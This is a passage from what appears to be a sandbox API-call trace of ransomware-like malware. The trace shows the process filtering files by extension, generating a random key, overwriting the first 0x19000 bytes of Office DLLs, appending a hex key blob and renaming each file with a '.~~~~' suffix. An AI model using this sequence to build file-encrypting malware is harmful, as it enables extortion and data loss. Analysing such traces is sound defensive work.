	[0079.177] lstrlenW (lpString=".com") returned 4
	[0079.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".com") returned 0x0
	[0079.178] lstrlenW (lpString=".lnk") returned 4
	[0079.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".lnk") returned 0x0
	[0079.178] lstrlenW (lpString=".msp") returned 4
	[0079.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".msp") returned 0x0
	[0079.178] lstrlenW (lpString=".pif") returned 4
	[0079.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".pif") returned 0x0
	[0079.178] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0079.179] lstrlenW (lpString=".sqb") returned 4
	[0079.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".sqb") returned 0x0
	[0079.179] lstrlenW (lpString=".ost") returned 4
	[0079.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".ost") returned 0x0
	[0079.179] lstrlenW (lpString=".txt") returned 4
	[0079.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".txt") returned 0x0
	[0079.179] lstrlenW (lpString=".mdt") returned 4
	[0079.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".mdt") returned 0x0
	[0079.179] lstrlenW (lpString=".BDB") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".BDB") returned 0x0
	[0079.180] lstrlenW (lpString=".eql") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".eql") returned 0x0
	[0079.180] lstrlenW (lpString=".DBF") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DBF") returned 0x0
	[0079.180] lstrlenW (lpString=".EQL") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".EQL") returned 0x0
	[0079.180] lstrlenW (lpString=".FDB") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".FDB") returned 0x0
	[0079.180] lstrlenW (lpString=".EDB") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".EDB") returned 0x0
	[0079.180] lstrlenW (lpString=".DACPAC") returned 7
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.180] lstrlenW (lpString=".VHD") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".VHD") returned 0x0
	[0079.180] lstrlenW (lpString=".DBV") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DBV") returned 0x0
	[0079.180] lstrlenW (lpString=".dacpac") returned 7
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".dacpac") returned 0x0
	[0079.180] lstrlenW (lpString=".sdf") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".sdf") returned 0x0
	[0079.180] lstrlenW (lpString=".accdb") returned 6
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".accdb") returned 0x0
	[0079.180] lstrlenW (lpString=".DBX") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DBX") returned 0x0
	[0079.180] lstrlenW (lpString=".MDT") returned 4
	[0079.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".MDT") returned 0x0
	[0079.181] lstrlenW (lpString=".SQB") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".SQB") returned 0x0
	[0079.181] lstrlenW (lpString=".vhd") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".vhd") returned 0x0
	[0079.181] lstrlenW (lpString=".bac") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".bac") returned 0x0
	[0079.181] lstrlenW (lpString=".mdf") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".mdf") returned 0x0
	[0079.181] lstrlenW (lpString=".BAK") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".BAK") returned 0x0
	[0079.181] lstrlenW (lpString=".BAC") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".BAC") returned 0x0
	[0079.181] lstrlenW (lpString=".dbs") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".dbs") returned 0x0
	[0079.181] lstrlenW (lpString=".vhdx") returned 5
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".vhdx") returned 0x0
	[0079.181] lstrlenW (lpString=".NDF") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".NDF") returned 0x0
	[0079.181] lstrlenW (lpString=".dat") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".dat") returned 0x0
	[0079.181] lstrlenW (lpString=".DBS") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DBS") returned 0x0
	[0079.181] lstrlenW (lpString=".CKP") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".CKP") returned 0x0
	[0079.181] lstrlenW (lpString=".edb") returned 4
	[0079.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".edb") returned 0x0
	[0079.182] lstrlenW (lpString=".PST") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".PST") returned 0x0
	[0079.182] lstrlenW (lpString=".dbf") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".dbf") returned 0x0
	[0079.182] lstrlenW (lpString=".SQL") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".SQL") returned 0x0
	[0079.182] lstrlenW (lpString=".pst") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".pst") returned 0x0
	[0079.182] lstrlenW (lpString=".dbv") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".dbv") returned 0x0
	[0079.182] lstrlenW (lpString=".SDF") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".SDF") returned 0x0
	[0079.182] lstrlenW (lpString=".dtxs") returned 5
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".dtxs") returned 0x0
	[0079.182] lstrlenW (lpString=".db3") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".db3") returned 0x0
	[0079.182] lstrlenW (lpString=".OST") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".OST") returned 0x0
	[0079.182] lstrlenW (lpString=".dbx") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".dbx") returned 0x0
	[0079.182] lstrlenW (lpString=".DB3") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DB3") returned 0x0
	[0079.182] lstrlenW (lpString=".DAT") returned 4
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DAT") returned 0x0
	[0079.182] lstrlenW (lpString=".VHDX") returned 5
	[0079.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".VHDX") returned 0x0
	[0079.183] lstrlenW (lpString=".ndf") returned 4
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".ndf") returned 0x0
	[0079.183] lstrlenW (lpString=".DB") returned 3
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DB") returned 0x0
	[0079.183] lstrlenW (lpString=".sql") returned 4
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".sql") returned 0x0
	[0079.183] lstrlenW (lpString=".MYD") returned 4
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".MYD") returned 0x0
	[0079.183] lstrlenW (lpString=".DBT") returned 4
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DBT") returned 0x0
	[0079.183] lstrlenW (lpString=".ACCDB") returned 6
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.183] lstrlenW (lpString=".fdb") returned 4
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".fdb") returned 0x0
	[0079.183] lstrlenW (lpString=".bak") returned 4
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".bak") returned 0x0
	[0079.183] lstrlenW (lpString=".myd") returned 4
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".myd") returned 0x0
	[0079.183] lstrlenW (lpString=".DTXS") returned 5
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".DTXS") returned 0x0
	[0079.183] lstrlenW (lpString=".ckp") returned 4
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".ckp") returned 0x0
	[0079.183] lstrlenW (lpString=".dbt") returned 4
	[0079.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".dbt") returned 0x0
	[0079.184] lstrlenW (lpString=".db") returned 3
	[0079.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".db") returned 0x0
	[0079.184] lstrlenW (lpString=".TXT") returned 4
	[0079.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".TXT") returned 0x0
	[0079.184] lstrlenW (lpString=".MDF") returned 4
	[0079.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".MDF") returned 0x0
	[0079.184] lstrlenW (lpString=".bdb") returned 4
	[0079.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".bdb") returned 0x0
	[0079.184] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0079.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.184] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0079.185] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.185] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0079.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0079.185] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19917547694) returned 1
	[0079.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x990f41d0, dwHighDateTime=0x1d60e1e)) 
	[0079.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0079.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0079.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0079.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b4f0
	[0079.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b4f0 | out: hHeap=0x300000) returned 1
	[0079.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4700
	[0079.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2030
	[0079.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0079.186] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0079.186] GetLastError () returned 0x0
	[0079.186] GetLastError () returned 0x0
	[0079.186] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0079.187] GetLastError () returned 0x0
	[0079.187] GetLastError () returned 0x0
	[0079.187] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.202] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.202] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0079.202] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.202] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.205] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.205] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.205] CloseHandle (hObject=0x118) returned 1
	[0079.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0079.205] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.~~~~")) returned 1
	[0079.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0079.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0079.206] GetLastError () returned 0x0
	[0079.206] RtlWakeConditionVariable () returned 0x365f70
	[0079.206] GetCurrentThreadId () returned 0xaf0
	[0079.206] GetCurrentThreadId () returned 0xaf0
	[0079.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fafe0 | out: hHeap=0x300000) returned 1
	[0079.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b528 | out: hHeap=0x300000) returned 1
	[0079.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fafe0
	[0079.206] lstrlenW (lpString=".scr") returned 4
	[0079.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".scr") returned 0x0
	[0079.206] lstrlenW (lpString=".cmd") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".cmd") returned 0x0
	[0079.207] lstrlenW (lpString=".dll") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".dll") returned 0x0
	[0079.207] lstrlenW (lpString=".bat") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".bat") returned 0x0
	[0079.207] lstrlenW (lpString=".cpl") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".cpl") returned 0x0
	[0079.207] lstrlenW (lpString=".sys") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".sys") returned 0x0
	[0079.207] lstrlenW (lpString=".msc") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".msc") returned 0x0
	[0079.207] lstrlenW (lpString=".com") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".com") returned 0x0
	[0079.207] lstrlenW (lpString=".lnk") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".lnk") returned 0x0
	[0079.207] lstrlenW (lpString=".msp") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".msp") returned 0x0
	[0079.207] lstrlenW (lpString=".pif") returned 4
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".pif") returned 0x0
	[0079.207] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0079.208] lstrlenW (lpString=".sqb") returned 4
	[0079.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".sqb") returned 0x0
	[0079.208] lstrlenW (lpString=".ost") returned 4
	[0079.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".ost") returned 0x0
	[0079.208] lstrlenW (lpString=".txt") returned 4
	[0079.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".txt") returned 0x0
	[0079.208] lstrlenW (lpString=".mdt") returned 4
	[0079.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".mdt") returned 0x0
	[0079.208] lstrlenW (lpString=".BDB") returned 4
	[0079.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".BDB") returned 0x0
	[0079.208] lstrlenW (lpString=".eql") returned 4
	[0079.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".eql") returned 0x0
	[0079.208] lstrlenW (lpString=".DBF") returned 4
	[0079.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DBF") returned 0x0
	[0079.208] lstrlenW (lpString=".EQL") returned 4
	[0079.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".EQL") returned 0x0
	[0079.209] lstrlenW (lpString=".FDB") returned 4
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".FDB") returned 0x0
	[0079.209] lstrlenW (lpString=".EDB") returned 4
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".EDB") returned 0x0
	[0079.209] lstrlenW (lpString=".DACPAC") returned 7
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.209] lstrlenW (lpString=".VHD") returned 4
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".VHD") returned 0x0
	[0079.209] lstrlenW (lpString=".DBV") returned 4
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DBV") returned 0x0
	[0079.209] lstrlenW (lpString=".dacpac") returned 7
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".dacpac") returned 0x0
	[0079.209] lstrlenW (lpString=".sdf") returned 4
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".sdf") returned 0x0
	[0079.209] lstrlenW (lpString=".accdb") returned 6
